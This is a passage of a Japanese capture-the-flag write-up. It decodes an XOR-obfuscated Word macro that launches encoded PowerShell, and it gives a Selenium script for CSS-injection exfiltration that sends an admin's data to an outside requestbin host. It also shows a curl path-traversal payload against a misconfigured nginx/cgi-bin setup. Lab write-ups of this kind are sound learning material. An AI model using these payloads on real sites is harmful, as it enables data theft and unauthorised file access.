unxor = cleartext
End Function
(SNIPPED)
xor を使って難読化されている部分があります。まずはこれを復号してみます。
import re
from base64 import b64decode
key = b64decode(b"rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkll3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh93K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6nd1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
def unxor(enc, idx):
cleartext = ""
for i in range(len(enc)):
cleartext += chr(key[i + idx] ^ enc[i])
return cleartext
encs = "CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)"
tmp = ""
for m in re.findall(r"unxor\(Array\(([0-9, ]*)\), ([0-9]*)\)", encs):
tmp += unxor(list(map(int, eval(f"[{m[0]}]"))), int(m[1]))
print(tmp)
WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA
-e
以降のもの (base64encode されている) を powershell で実行しているようです。
base64decode をかけると、
b".('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()"
何らかの文字列に対して base64 decode -> deflateStream をかけています。 zlib で圧縮されているらしいのでもとに戻してみます。
import zlib
decompressed = zlib.decompress(b64decode("bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=="), -15)
b'echo "Yes, we love VBA!"\n\n$input = Read-Host "Password"\n\nif ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {\n Write-Output "Correct!"\n} else {\n Write-Output "Incorrect"\n}\n\n'
フラグの文字列と一致しているかを比較していることがわかりました。
FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}
Web
Styled memo
19 solves
css をアップロードすることができるノートアプリです。 css を使った何かが鍵となりそうな気配がするのでググってみると CSS injection というものが存在しました。この手法についてはこのスライドがわかりやすかったです。各タグの属性値の値によって query 先を分岐させるような css を書くことで、属性値を1文字ずつリークできます。今回の問題ではフラグが書かれたノートは属性値として与えられているので css からアクセス可能です。
しかし css のアップロードはできても、 admin の css を設定できるわけではないためなんとかする必要があります。
css のアップロード先のリンクを見ると、 /media/USERNAME/FILENAME
となっています。デフォルトの FILENAME
は example.css
です。
ここで自分の USERNAME
を ADMINNAME/
と変更してみます。するとアップロードした css は /media/ADMINNAME//FILENAME
にアップロードされます。 FILENAME
を example.css
に指定すれば、 admin がアクセスする css と path が一致するため、 admin が参照する css そのものとなります。これで任意の css を admin に踏ませることができます。
以上をもって css を作ってアップロードして admin に踏ませることで1文字ずつリークできるようになります。これを繰り返せばフラグが入手できます。 本当は自動化したかったのですが requestbin.net で query parameter をいい感じに取ってくるのが面倒だったため、1文字ずつ人力で回しました…また python の requests が上手く動作せず 403 が返ってきてしまうため selenium を使いました。 csrf 周りの問題だと思うのだけれど、上手く設定できず…
import os
from selenium import webdriver
import string
sessionid = "951pwbd8amj5ftk1ptzprestm550n3bq"
user_url = "https://styled-memo.web.wanictf.org/user"
crawl_url = "https://styled-memo.web.wanictf.org/crawl"
css_path = os.getcwd() + "/example.css"
css_template = """button[data-title="FLAG"][data-content^="{value}"] {{
background-image: url("https://requestbin.net/r/h0ua2hop?value={value}");
}}
"""
driver = webdriver.Chrome()
def checker(prefix: str):
with open(css_path, "w") as f:
for c in set(string.ascii_letters + string.digits + string.punctuation) - set("'"):
css = css_template.format(value=prefix+c)
f.write(css)
driver.get(user_url)
driver.add_cookie({"name": "sessionid", "value": sessionid})
driver.get(user_url)
driver.find_element_by_id("id_css").send_keys(css_path)
driver.find_element_by_xpath("//button[@class='btn btn-primary']").click()
driver.get(crawl_url)
# 手動で1文字ずつ追加していく…
flag = "FLAG{"
checker(flag)
driver.quit()
FLAG{CSS_Injecti0n_us1ng_d1r3ctory_tr@versal}
traversal
36 solves
ヒントに「設定に違和感」と書いてあったため、設定ファイルをひたすら眺めます。怪しい設定が2つ見つかりました。
1つ目はここ。
server {
listen 80;
listen [::]:80;
server_name localhost;
merge_slashes off;
location / {
proxy_pass http://traversal-web:80;
}
}
merge_slashes
というのはデフォルトでは on らしいですが、わざわざ off にしています。これは URL の path 中に slash が連なっているときに1つにするかしないかを決める設定みたいです。これが off の場合、 directory traversal が使える可能性があります。
2つ目の怪しい設定はここ。
<IfModule alias_module>
(SNIPPED)
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
</IfModule>
/cgi-bin/
にアクセスすることが /usr/local/apache2/cgi-bin/
にアクセスすることに繋がります。
以上2点を組み合わせると、 /cgi-bin///////../../../../../flag.txt
のような path にアクセスすれば flag.txt
にアクセスできそうです。しかし404が返ってしまいます。
原因がわからずあれこれ試してみると、 .
ではなく %2e
を使えば上手くいきました。なんで
curl https://traversal.web.wanictf.org/cgi-bin///////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}